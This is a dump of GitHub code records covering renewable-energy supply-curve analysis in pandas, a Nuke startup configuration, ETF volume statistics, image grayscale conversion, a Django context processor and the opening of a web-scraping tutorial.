inFeatureFileName) \n \n return df\n\n##############################################\n## APPLY calcSupplyCurve_geothermal TO QRAs ##\n##############################################\n \n## List of inputs to loop over\nft_ls = {\"Cat1\" : \"geothermal_cat1b\",\\\n \"Cat2\" : \"geothermal_cat2f\",\\\n \"Cat3\" : \"geothermal_cat3\", \\\n \"Cat4\": \"geothermal_cat4\"}\ntech = \"geothermal\"\n\n## output list to append \nresolveZone_MW_ls = []\ngdbFileName = \"070618_resourceAssessment.gdb\"\nzoneFieldName = \"RESOLVE_ZONE_geothermal\"\n\n## loop function over list of inputs\nfor cat in ft_ls:\n resolveZone_MW = calcSupplyCurve_geothermal(inFeature = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat]), \\\n inFeatureFileName = ft_ls[cat], \\\n category = cat, \\\n zonesFile = QRAfilePath, \\\n zonesType = \"QRA\", \\\n ## zoneField = \"State\"\n zoneField = zoneFieldName, \\\n zonesToSelect = \"Name In ('NV_EA', 'NV_WE', 'OR_SO', 'OR_WE')\")\n \n ## append output list\n resolveZone_MW_ls.append(resolveZone_MW)\n \n## MERGE TABLES \n# StateAvg\nresolveZone_MW_merged = pandas.merge(resolveZone_MW_ls[0], resolveZone_MW_ls[1], how= 'outer', on = zoneFieldName)\nfor tab in [resolveZone_MW_ls[2], resolveZone_MW_ls[3]]:\n resolveZone_MW_merged = pandas.merge(resolveZone_MW_merged, tab, how= 'outer', on = zoneFieldName)\n\n## SAVE TO CSV\nresolveZone_MW_merged.to_csv(path_or_buf = os.path.join(mainOutputFolder, \"0718_results\", tech + \"_OOS_RESOLVEZONE_MW.csv\"), index = False)\n\n#####################################################\n## APPLY calcSupplyCurve_geothermal TO Super CREZs ##\n#####################################################\n\n## output list to append \nresolveZone_MW_ls = []\ngdbFileName = \"070618_resourceAssessment.gdb\"\nzoneFieldName = \"RESOLVE_ZONE\"\n\n## loop function over list of inputs\nfor cat in ft_ls:\n resolveZone_MW = calcSupplyCurve_geothermal(inFeature = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat]), \\\n inFeatureFileName = ft_ls[cat], \\\n category = cat, \\\n zonesFile = SuperCREZ, \\\n zonesType = \"SuperCREZ\", \\\n zoneField = zoneFieldName, \\\n zonesToSelect = \"NAME In ('Imperial North', 'Imperial South', 'Round Mountain - A', 'Lassen North')\")#,\\\n #csv_suffix = \"_RESOLVEzonesMW_SuperCREZ\")\n \n ## append output list\n resolveZone_MW_ls.append(resolveZone_MW)\n \n## MERGE TABLES \n# StateAvg\nresolveZone_MW_merged = pandas.merge(resolveZone_MW_ls[0], resolveZone_MW_ls[1], how= 'outer', on = zoneFieldName)\nfor tab in [resolveZone_MW_ls[2], resolveZone_MW_ls[3]]:\n resolveZone_MW_merged = pandas.merge(resolveZone_MW_merged, tab, how= 'outer', on = zoneFieldName)\n\n## SAVE TO CSV\nresolveZone_MW_merged.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, tech + \"_CA_RESOLVEZONE_MW.csv\"), index = False)\n\n################################################\n## APPLY calcSupplyCurve_geothermal TO STATES ##\n################################################\n\n## output list to append \nresolveZone_MW_ls = []\nzoneFieldName = \"State\"\n\n## loop function over list of inputs\nfor cat in ft_ls:\n resolveZone_MW = calcSupplyCurve_geothermal(inFeature = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat]), \\\n inFeatureFileName = ft_ls[cat], \\\n category = cat, \\\n zonesFile = statesFilePath, \\\n zonesType = \"state\", \\\n zoneField = zoneFieldName,\\\n zonesToSelect = \"NAME In ('Imperial North', 'Imperial South', 'Round Mountain - A', 'Lassen North')\")\n \n ## append output list\n resolveZone_MW_ls.append(resolveZone_MW)\n \n## MERGE TABLES \n# StateAvg\nresolveZone_MW_merged = pandas.merge(resolveZone_MW_ls[0], resolveZone_MW_ls[1], how= 'outer', on = zoneFieldName)\nfor tab in [resolveZone_MW_ls[2], resolveZone_MW_ls[3]]:\n resolveZone_MW_merged = pandas.merge(resolveZone_MW_merged, tab, how= 'outer', on = zoneFieldName)\n\n## SAVE TO CSV\nresolveZone_MW_merged.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, tech + \"_state_MW.csv\"), index = False)\n\n\nelapsed_time = (time.time() - start_time)/(60)\nprint(str(elapsed_time) + \" minutes\")\n\n'''\n#################################################\n## REMOVE BASELINE RESOURCES FROM SUPPLY CURVE ##\n#################################################\nIMPORTANT NOTE: Run after creating supply curves for all technologies\nPURPOSE: aggregates baseline (existing) resources for all technologies \nand subtracts it from the supply curve values\n'''\n############################################\n## SUM BASELINE RESOURCES BY RESOLVE_ZONE ##\n############################################\n\ndf_baseline = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\RESOLVE_related_data\\RESOLVE-CPUCRPS_listComparison_AllTechSum_EL_noBaselineOOS.csv\")\n\ndf_baseline['Geothermal'] = df_baseline['Geothermal'].convert_objects(convert_numeric=True) \ndf_geo =df_baseline[[\"RESOLVE_ZONE\",\"Geothermal\"]].groupby(['RESOLVE_ZONE']).sum()\ndf_geo.reset_index(inplace=True)\ndf_geo.to_csv(path_or_buf = r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\RESOLVE_related_data\\geothermal_baseline_noBaselineOOS.csv\", index = True)\n\ndf_baseline['Solar PV'] = df_baseline['Solar PV'].convert_objects(convert_numeric=True) \ndf_PV =df_baseline[[\"RESOLVE_ZONE\",\"Solar PV\"]].groupby(['RESOLVE_ZONE']).sum()\ndf_PV.reset_index(inplace=True)\ndf_PV.to_csv(path_or_buf = r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\RESOLVE_related_data\\PV_baseline_noBaselineOOS.csv\", index = True)\n\ndf_baseline['Wind'] = df_baseline['Wind'].convert_objects(convert_numeric=True) \ndf_wind =df_baseline[[\"RESOLVE_ZONE\",\"Wind\"]].groupby(['RESOLVE_ZONE']).sum()\ndf_wind.reset_index(inplace=True)\ndf_wind.to_csv(path_or_buf = r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\RESOLVE_related_data\\wind_baseline_noBaselineOOS.csv\", index = True)\n\n####################################################\n## SUBTRACT BASELINE RESOURCES FROM MW ESTIMATES ##\n###################################################\n\n## import RESOLVE supply curve values:\nresolveSupplyCurve = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\siteSuitabilityOutputs\\0618_results_archived\\summaryResults_061818.csv\")\n\n## import STPOSTAL_RESOLVEZONE_key csv:\nstpostalKey = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\RESOLVE_related_data\\STPOSTAL_RESOLVEZONE_key.csv\")\n\n## FUNCTION to subtract baseline from supply curve\ndef subtractBaseline (df_merged, baselineColName):\n pattern = r'cap_MW_\\S'\n MWcolList = [x for x in list(df_merged) if re.search(pattern, x)]\n \n for col in df_merged:\n if col in MWcolList:\n df_merged[col + \"_net\"] = df_merged[col].sub(df_merged[baselineColName],fill_value=0)\n \n return df_merged\n\n###################\n## APPLY TO WIND ##\n###################\n \n## Updates on 11/30/18: No longer subtracting baseline resources from site suitability results for OOS RESOLVE ZONE or State-wide because we erased \n## wind and solar existing power plants when creating the potential project area feature classes\n## instead, subtract 500 MW from NM and 1500 MW from PNW\n \nextTxMW = pandas.DataFrame(data = {'RESOLVE_ZONE_wind': [\"New_Mexico_Wind\", \"Pacific_Northwest_Wind\"], 'extTxZones' : [500, 1500]})\n \n## import wind zones - OOS\ndf_wind_OOS_RESOLVE = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_OOS_RESOLVEZONE_avgCFMW_PA.csv\"))\n## subtract 500 MW from NM and 1500 MW from PNW\ndf_wind_OOS_RESOLVE_merged = pandas.merge(df_wind_OOS_RESOLVE, extTxMW, how= 'left', left_on = \"RESOLVE_ZONE_wind\", right_on = \"RESOLVE_ZONE_wind\")\ndf_wind_OOS_RESOLVE_merged_sub = subtractBaseline(df_merged= df_wind_OOS_RESOLVE_merged, baselineColName = \"extTxZones\")\n## rename columns:\nnewColNames =[name.replace('_RESOLVE_ZONE',\"\") for name in df_wind_OOS_RESOLVE_merged_sub.columns]\ndf_wind_OOS_RESOLVE_merged_sub.columns = newColNames\n## save to csv:\ndf_wind_OOS_RESOLVE_merged_sub.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_OOS_RESOLVEZONE_avgCFMW_PA_net.csv\"), index = False)\n\n## import wind zones - CA\ndf_wind_CA_RESOLVE = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_CA_RESOLVEZONE_avgCFMW_PA.csv\"))\n## join the df_baseline table using RESOLVE_ZONE\ndf_wind_CA_RESOLVE_merged = pandas.merge(df_wind, df_wind_CA_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE\")\n## apply substractBaseline function \ndf_wind_CA_RESOLVE_merged_sub = subtractBaseline(df_merged= df_wind_CA_RESOLVE_merged, baselineColName = \"Wind\")\n## Append \"_Wind\" to end of RESOLVE_ZONE name:\ndf_wind_CA_RESOLVE_merged_sub[\"RESOLVE_ZONE\"] = df_wind_CA_RESOLVE_merged_sub['RESOLVE_ZONE'].astype(str) + \"_Wind\"\ndf_wind_CA_RESOLVE_merged_sub.rename(columns={'RESOLVE_ZONE':'RESOLVE_ZONE_wind'}, inplace=True)\n## merge with RESOLVE supply curve values\n#df_wind_CA_RESOLVE_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_wind_CA_RESOLVE_merged_sub, how = \"outer\", left_on = \"RESOLVE Resource Name\",right_on = \"RESOLVE_ZONE\")\n## save to csv:\ndf_wind_CA_RESOLVE_merged_sub.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_CA_RESOLVEZONE_avgCFMW_PA_net.csv\"), index = False)\n\n## import wind zones - WALL TO WALL\ndf_wind_state = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_OOS_state_avgCFMW_PA.csv\"))\n## merge STPOSTAL key to get RESOLVEZONE names\n#df_wind_state = pandas.merge(stpostalKey[[\"STPOSTAL\", \"RESOLVE_ZONE_wind\"]], df_wind_state, how = \"outer\", left_on = \"STPOSTAL\",right_on = \"STPOSTAL\")\n#df_wind_state.groupby([\"RESOLVE_ZONE_wind\"])[]\n## subtract 500 MW from NM and 1500 MW from PNW\ndf_wind_state_merged = pandas.merge(df_wind_state, extTxMW, how= 'left', left_on = \"RESOLVE_ZONE_wind\", right_on = \"RESOLVE_ZONE_wind\")\n\ndf_wind_state_merged_sub = subtractBaseline(df_merged= df_wind_state_merged, baselineColName = \"extTxZones\")\n## save to csv:\ndf_wind_state_merged_sub.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"wind_OOS_state_avgCFMW_PA_net.csv\"), index = False)\n\n####################\n## APPLY TO SOLAR ##\n####################\n\n## import PV zones - OOS : no need to subtract baseline\ndf_PV_OOS_RESOLVE = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_OOS_RESOLVEZONE_avgCFMW_PA.csv\"))\n## rename columns:\nnewColNames =[name.replace('_RESOLVE_ZONE',\"\") for name in df_PV_OOS_RESOLVE.columns]\ndf_PV_OOS_RESOLVE.columns = newColNames\n## join the df_baseline table using RESOLVE_ZONE\ndf_PV_OOS_RESOLVE_merged = pandas.merge(df_PV, df_PV_OOS_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE_solar\")\n## Delete first RESOLVE_ZONE Column in df_PV:\ndf_PV_OOS_RESOLVE_merged = df_PV_OOS_RESOLVE_merged.drop([\"RESOLVE_ZONE\"], axis = 1)\n## apply substractBaseline function \ndf_PV_OOS_RESOLVE_merged = subtractBaseline(df_merged= df_PV_OOS_RESOLVE_merged, baselineColName = \"Solar PV\")\n## join the df_baseline table using RESOLVE_ZONE\n#df_PV_OOS_RESOLVE_merged = pandas.merge(df_PV, df_PV_OOS_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE_solar\")\n## apply substractBaseline function \n#df_PV_OOS_RESOLVE_merged_sub = subtractBaseline(df_merged= df_PV_OOS_RESOLVE_merged, baselineColName = \"Solar PV\")\n## merge with RESOLVE supply curve values\n#df_PV_OOS_RESOLVE_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_PV_OOS_RESOLVE_merged_sub, how = \"outer\", left_on = \"RESOLVE Resource Name\", right_on = \"RESOLVE_ZONE_solar\")\n## save to csv:\ndf_PV_OOS_RESOLVE_merged.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_OOS_RESOLVEZONE_avgCFMW_PA_renamedCol.csv\"), index = False)\n\n## import PV zones - CA\ndf_PV_CA_RESOLVE = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_CA_RESOLVEZONE_avgCFMW_PA.csv\"))\n## join the df_baseline table using RESOLVE_ZONE\ndf_PV_CA_RESOLVE_merged = pandas.merge(df_PV, df_PV_CA_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE\")\n## apply substractBaseline function \ndf_PV_CA_RESOLVE_merged_sub = subtractBaseline(df_merged= df_PV_CA_RESOLVE_merged, baselineColName = \"Solar PV\")\n## Append \"_Solar\" to end of RESOLVE_ZONE name:\ndf_PV_CA_RESOLVE_merged_sub[\"RESOLVE_ZONE\"] = df_PV_CA_RESOLVE_merged_sub['RESOLVE_ZONE'].astype(str) + \"_Solar\"\ndf_PV_CA_RESOLVE_merged_sub.rename(columns={'RESOLVE_ZONE':'RESOLVE_ZONE_solar'}, inplace=True)\n## merge with RESOLVE supply curve values\ndf_PV_CA_RESOLVE_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_PV_CA_RESOLVE_merged_sub, how = \"outer\", left_on = \"RESOLVE Resource Name\",right_on = \"RESOLVE_ZONE_solar\")\n## save to csv:\ndf_PV_CA_RESOLVE_merged_sub_compare.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_CA_RESOLVEZONE_avgCFMW_PA_net.csv\"), index = False)\n\n## import PV zones - State\ndf_PV_state = pandas.read_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_OOS_state_avgCFMW_PA.csv\"))\n## join the df_baseline table using RESOLVE_ZONE\ndf_PV_state_merged = pandas.merge(df_PV, df_PV_state, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE_solar\")\n## Delete first RESOLVE_ZONE Column in df_PV:\ndf_PV_state_merged = df_PV_state_merged.drop([\"RESOLVE_ZONE\"], axis = 1)\n## apply substractBaseline function \ndf_PV_state_merged_sub = subtractBaseline(df_merged= df_PV_state_merged, baselineColName = \"Solar PV\")\n## merge with RESOLVE supply curve values\n#df_PV_state_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_PV_state_merged, how = \"outer\", left_on = \"RESOLVE Resource Name\", right_on = \"RESOLVE_ZONE_solar\")\n## save to csv:\ndf_PV_state_merged_sub.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"solar_OOS_state_avgCFMW_PA_net.csv\"), index = False)\n\n########################################\n## MERGE SOLAR AND WIND SUPPLY CURVES ##\n########################################\n\n####### RESOLVE ZONES:\n## WIND: concat OOS and CA RESOLVE ZONE supply curves and then merge with original RESOLVE supply curve values\nRESOLVE_ZONES_wind_merged = pandas.concat([df_wind_OOS_RESOLVE_merged_sub, df_wind_CA_RESOLVE_merged_sub], axis = 0)\nRESOLVE_ZONES_wind_merged.rename(columns={\"RESOLVE_ZONE_wind\": \"RESOLVE_ZONE\"}, inplace=True)\n\n## SOLAR: concat OOS and CA RESOLVE ZONE supply curves and then merge with original RESOLVE supply curve values\nRESOLVE_ZONES_solar_merged = pandas.concat([df_PV_OOS_RESOLVE_merged, df_PV_CA_RESOLVE_merged_sub], axis = 0)\nRESOLVE_ZONES_solar_merged.rename(columns={\"RESOLVE_ZONE_solar\": \"RESOLVE_ZONE\"}, inplace=True)\n\n## merge WIND AND SOLAR\nRESOLVE_ZONES_merged = pandas.concat([RESOLVE_ZONES_solar_merged, RESOLVE_ZONES_wind_merged], axis = 0)\n\n## merge with RESOLVE supply curve values\nRESOLVE_ZONES_merged_compare = pandas.merge(resolveSupplyCurve, RESOLVE_ZONES_merged, how = \"outer\", left_on = \"RESOLVE Resource Name\",right_on = \"RESOLVE_ZONE\")\nRESOLVE_ZONES_merged_compare= RESOLVE_ZONES_merged_compare.drop([\"Unnamed: 0\"], axis = 1)\n\n## save to csv\nRESOLVE_ZONES_merged_compare.to_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"supplyCurvesForRESOLVE\", \"envSupplyCurves_RESOLVEZONES.csv\"), index=False)\n\n####### WALL TO WALL:\n## merge WIND AND SOLAR\ndf_wind_state_merged_sub.rename(columns={\"RESOLVE_ZONE_wind\": \"RESOLVE_ZONE\"}, inplace=True)\n \nw2w_merged = pandas.concat([df_PV_state_merged_sub, \\\n df_wind_state_merged_sub], axis =0)\n\n## merge with RESOLVE supply curve values\nw2w_merged_compare = pandas.merge(resolveSupplyCurve, w2w_merged, how = \"outer\", left_on = \"RESOLVE Resource Name\",right_on = \"RESOLVE_ZONE\")\n## save to csv\nw2w_merged_compare.to_csv(os.path.join(mainOutputFolder, supplyCurveFolder, \"supplyCurvesForRESOLVE\", \"envSupplyCurves_w2w.csv\"), index=False)\n\n#########################\n## APPLY TO GEOTHERMAL ##\n#########################\n\n## import geothermal zones - OOS\ndf_geo_OOS_RESOLVE = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\siteSuitabilityOutputs\\0718_results\\geothermal_OOS_RESOLVEZONE_MW.csv\")\n## join the df_baseline table using RESOLVE_ZONE\ndf_geo_OOS_RESOLVE_merged = pandas.merge(df_geo, df_geo_OOS_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE_geothermal\")\n## apply substractBaseline function \ndf_geo_OOS_RESOLVE_merged_sub = subtractBaseline(df_merged= df_geo_OOS_RESOLVE_merged, baselineColName = \"Geothermal\")\n## merge with RESOLVE supply curve values\ndf_geo_OOS_RESOLVE_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_geo_OOS_RESOLVE_merged_sub, how = \"outer\", left_on = \"RESOLVE Resource Name\", right_on = \"RESOLVE_ZONE_geothermal\")\n## save to csv:\ndf_geo_OOS_RESOLVE_merged_sub_compare.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"geothermal_OOS_RESOLVEZONE_MW_net.csv\"), index = False)\n\n## import geothermal zones - CA\ndf_geo_CA_RESOLVE = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\PathTo100\\siteSuitabilityOutputs\\0718_results\\geothermal_CA_RESOLVEZONE_MW.csv\")\n## join the df_baseline table using RESOLVE_ZONE\ndf_geo_CA_RESOLVE_merged = pandas.merge(df_geo, df_geo_CA_RESOLVE, how= 'right', left_on = \"RESOLVE_ZONE\", right_on = \"RESOLVE_ZONE\")\n## apply substractBaseline function \ndf_geo_CA_RESOLVE_merged_sub = subtractBaseline(df_merged= df_geo_CA_RESOLVE_merged, baselineColName = \"Geothermal\")\n## Append \"_Solar\" to end of RESOLVE_ZONE name:\ndf_geo_CA_RESOLVE_merged_sub[\"RESOLVE_ZONE\"] = df_geo_CA_RESOLVE_merged_sub['RESOLVE_ZONE'].astype(str) + \"_Geothermal\"\n## merge with RESOLVE supply curve values\ndf_geo_CA_RESOLVE_merged_sub_compare = pandas.merge(resolveSupplyCurve, df_geo_CA_RESOLVE_merged_sub, how = \"outer\", left_on = \"RESOLVE Resource Name\",right_on = \"RESOLVE_ZONE\")\n## save to csv:\ndf_geo_CA_RESOLVE_merged_sub_compare.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, \"geothermal_CA_RESOLVEZONE_MW_net.csv\"), index = False)","repo_name":"grace-cc-wu/LandUsePathwaysTo100","sub_path":"createSupplyCurve.py","file_name":"createSupplyCurve.py","file_ext":"py","file_size_in_byte":66011,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"37694774385","text":"import nuke\r\n\r\nnuke.pluginAddPath(\"./gizmos\")\r\nnuke.pluginAddPath(\"./gizmos/pixelfudger\")\r\nnuke.pluginAddPath(\"./icons\")\r\nnuke.pluginAddPath(\"./python\")\r\nnuke.pluginAddPath(\"./tcl\")\r\nnuke.pluginAddPath(\"./python/StartupUI/Localization_Panel/\")\r\n\r\n\r\n##rollingautosave\r\nimport rollingAutoSave\r\n\r\n###########SET NODE KNOB DEFAULTS##########\r\n## default format and frame rate\r\nnuke.knobDefault('Root.fps', '25')\r\nnuke.knobDefault(\"Camera2.frame_rate\", \"25\")\r\n\r\n## Project Settings > Default format: HD 1920x1080 \r\nnuke.knobDefault('Root.format', 'HD_1080') \r\n\r\n## Viewer Settings > Optimize viewer during playback: on \r\n#nuke.knobDefault(\"Viewer.freezeGuiWhenPlayBack\", \"1\") \r\n\r\n## Write > Default for EXR files: 16bit Half, No Compression. 'Create directories' checked as default \r\n#nuke.knobDefault(\"Write.exr.compression\",\"0\")\r\nnuke.knobDefault(\"Write.create_directories\",\"1\") \r\n\r\n## Exposure Tool > Use stops instead of densities \r\nnuke.knobDefault(\"EXPTool.mode\", \"0\") \r\n\r\n## RotoPaint > feather setting to smooth \r\n#nuke.knobDefault(\"RotoPaint.toolbox\", '''clone {\r\n#{ brush ltt 0 }\r\n#{ clone ltt 0}\r\n#}''')\r\nnuke.knobDefault(\"RotoPaint.feather_type\", \"smooth\")\r\nnuke.knobDefault(\"RotoPaint.cliptype\", \"no clip\")\r\nnuke.knobDefault('RotoPaint.toolbox','createBezier')\r\n\r\n##Roto feather setting to smooth \r\nnuke.knobDefault(\"Roto.feather_type\", \"smooth\")\r\nnuke.knobDefault(\"Roto.cliptype\", \"no clip\")\r\n\r\n##shuffle add 'value in' dispay to comment field \r\nnuke.knobDefault(\"Shuffle.label\", '[value in]')\r\n\r\n##scanline renderer extra channels off \r\n#nuke.knobDefault(\"ScanlineRender\", '''MB_channel {\r\n#{ \"none\" }\r\n#{ \"off\" }\r\n#}''')\r\n#nuke.knobDefault(\"ScanlineRender.MB_channel\",\"none\")\r\nnuke.knobDefault(\"ScanlineRender.motion_vectors_type\",\"off\")\r\n\r\ndef setProjsettings():\r\n try:\r\n import sgtk\r\n #get context from shotgun \r\n # get the engine we are currently running in\r\n currentEngine = sgtk.platform.current_engine()\r\n\r\n # get the current context so we can find the highest version in relation to the context\r\n ctx = currentEngine.context\r\n \r\n # Get a template object using the name of the template\r\n template = currentEngine.sgtk.templates[\"nuke_shot_work\"]\r\n\r\n # Now resolve the fields needed to build the template path using the context\r\n fields = ctx.as_template_fields(template,validate=True)\r\n\r\n #setLUT = 'Shot_%s' %fields['Shot']\r\n\r\n os.environ[\"SHOT\"] = fields['Shot']\r\n\r\n #Set proj settings\r\n n = nuke.root()\r\n if 'theWitcher' in n['name'].value():\r\n n['fps'].setValue(24)\r\n n['colorManagement'].setValue('OCIO')\r\n theWitcher4k = '4268 2400 theWitcher 4k'\r\n nuke.addFormat( theWitcher4k )\r\n n['format'].setValue('theWitcher 4k')\r\n #Set VIEWER_INPUT\r\n try:\r\n vi = nuke.toNode('VIEWER_INPUT')\r\n vi['out_colorspace'].setValue('ShotGrades')\r\n except:\r\n pass\r\n except:\r\n pass\r\n \r\n\r\n\r\nnuke.addOnScriptLoad(setProjsettings)\r\n\r\n\r\n\r\n##delete viewers on startup\r\ndef killViewers():\r\n for v in nuke.allNodes(\"Viewer\"):\r\n nuke.delete(v) \r\nnuke.addOnScriptLoad(killViewers)\r\n\r\n","repo_name":"kernowkid/NUKE_PATH","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11567968992","text":"# ***********************************************************************\n# Import libraries\n# ***********************************************************************\n\nimport os\nimport sys\nimport pandas as pd\n\nsys.path.append( '../' )\n\nimport utl.utils as utl\nfrom dat.assets import ETF_HASH\n\n# ***********************************************************************\n# Input\n# ***********************************************************************\n\netfFile = 'data/All_ETFs_Intraday.txt'\noutFile = 'analysis-results/etf_avg_volumes.csv' \n\n# ***********************************************************************\n# Analyze\n# ***********************************************************************\n\n#eDf = pd.read_csv( etfFile, delimiter = '\\t' )\nsymbols = []\ninvSymbols = []\nvolumes = []\ninvVolumes = []\n\nfor symbol in ETF_HASH.keys():\n\n invSymbol = ETF_HASH[ symbol ]\n \n etfs = list( set( [ symbol, invSymbol, 'SPY' ] ) )\n tmpDf = utl.getKibotData( etfs = etfs,\n nDays = 2000,\n interpolate = False,\n output = 'volume' )\n\n tmpDf = tmpDf.fillna( 0.0 )\n\n symbols.append( symbol )\n invSymbols.append( invSymbol )\n volumes.append( float( tmpDf[ symbol ].mean() ) )\n invVolumes.append( float( tmpDf[ invSymbol ].mean() ) )\n \noutDf = pd.DataFrame( { 'symbol' : symbols,\n 'inv_symbols' : invSymbols,\n 'avg_volume' : volumes,\n 'avg_inv_volume' : invVolumes } )\n\noutDf.to_csv( outFile, index = False )\n\nprint( outDf )\n\n","repo_name":"babakopti/opti-trade","sub_path":"scripts/get_etf_avg_volumes.py","file_name":"get_etf_avg_volumes.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5785354168","text":"from Functions import create_image, get_pixel\n\n\n# Create a Grayscale version of the image\ndef convert_grayscale(image):\n # Get size\n width, height = image.size\n print(\"width = \", width)\n print(\"height = \", height)\n\n #image.show()\n\n # Create new Image and a Pixel Map\n new = create_image(width, height)\n pixels = new.load()\n\n # Transform to grayscale\n for i in range(width):\n for j in range(height):\n # Get Pixel\n pixel = get_pixel(image, i, j)\n\n # Get R, G, B values (This are int from 0 to 255)\n red = pixel[0]\n green = pixel[1]\n blue = pixel[2]\n\n # Transform to grayscale\n #gray = (red * 0.299) + (green * 0.587) + (blue * 0.114)\n gray = (red * 0.999) + (green * 0.887) + (blue * 0.914)\n\n # Set Pixel in new image\n pixels[i, j] = (int(gray), int(gray), int(gray))\n\n new.show()\n # Return new image\n return new\n","repo_name":"ncterry/CryptoSteganography","sub_path":"xa_grayScale.py","file_name":"xa_grayScale.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12007076599","text":"\"\"\"\nQ. n rows and m columns in a sheet of graph paper\neach cell in graph is an army base\ntotal army base = n.m\nIf a base contains at least one package inside or on top of its border fence, then it's\nconsidered to be supplied.\nFind out minimum no. of packages required that all army bases are supplied.\n\"\"\"\nimport math\n\nn = int(input(\"Enter rows: \"))\nm = int(input(\"Enter columns: \"))\ntotal_base = n * m\nprint(\"Total Base in an army: \",total_base)\npkg = math.ceil(n/2) * math.ceil(m/2)\nprint(\"Minimum packages required: \",pkg)\n\n\"\"\"\nApproach:\n1 * 1 = 1 b 1 pkg\n1 * 2 = 2 b 1 pkg\n1 * 3 = 3 b 2 pkg\n1 * 4 = 4 b 2 pkg\n\"\"\"\n\n(n+n%2)*(m+m%2)/4\nmod_n = n%2\nmod_m = m%2\nres = (n+mod_n) * (m + mod_m)\nprint(\"Packages required\",res/4)","repo_name":"ShitalBharti/AllWork","sub_path":"Work-28-Dec-2021/_09_Army_Game_Standout_Prog.py","file_name":"_09_Army_Game_Standout_Prog.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3220648902","text":"from datetime import date\nfrom django.db.models import Count\nfrom apps.models import Category, Post, PostViewHistory, AboutUs, Info\n\n\ndef context_category(request):\n return {\n 'categories': Category.objects.annotate(p_count=Count('post')).order_by('-p_count'),\n 'tags': Category.objects.annotate(p_count=Count('post')).order_by('-p_count')\n }\n\n\ndef context_info(request):\n return {\n 'info': Info.objects.first()\n }\n\n\ndef context_post(request):\n trending_post = PostViewHistory.objects.filter(viewed_at__month__gt=date.today().month - 1)\n trending_post = trending_post.values_list('post', flat=True).annotate(count=Count('viewed_at')).order_by('-count')[\n :5]\n return {\n 'posts': Post.objects.all(),\n 'feature_posts': Post.objects.order_by('-created_at')[:3],\n 'trending_post': Post.objects.filter(id__in=list(trending_post)).order_by('-views')\n # 'trending_post': PostViewHistory.objects.filter(viewed_at__month__gt=date.today().month - 1)\n }\n","repo_name":"Javlondeveloper/django_blog","sub_path":"apps/utils/context_protsessor.py","file_name":"context_protsessor.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"22904115882","text":"# + Web Scraping com Python usando requests e bs4 BeautifulSoup\n# - Web Scraping é o ato de \"raspar a web\" buscando informações de forma\n# automatizada, com determinada linguagem de programação, para uso posterior.\n# - O módulo requests consegue carregar dados da Internet para dentro do seu\n# código. Já o bs4.BeautifulSoup é responsável por interpretar os dados HTML\n# em formato de objetos Python para facilitar a vida do desenvolvedor.\n# - Doc: https://www.crummy.com/software/BeautifulSoup/bs4/doc.ptbr/\n# + Instalação\n# - pip install requests types-requests bs4\nimport requests\nfrom bs4 import BeautifulSoup\n\nurl = 'http://localhost:3333/'\nresponse = requests.get(url)\nbytes_html = 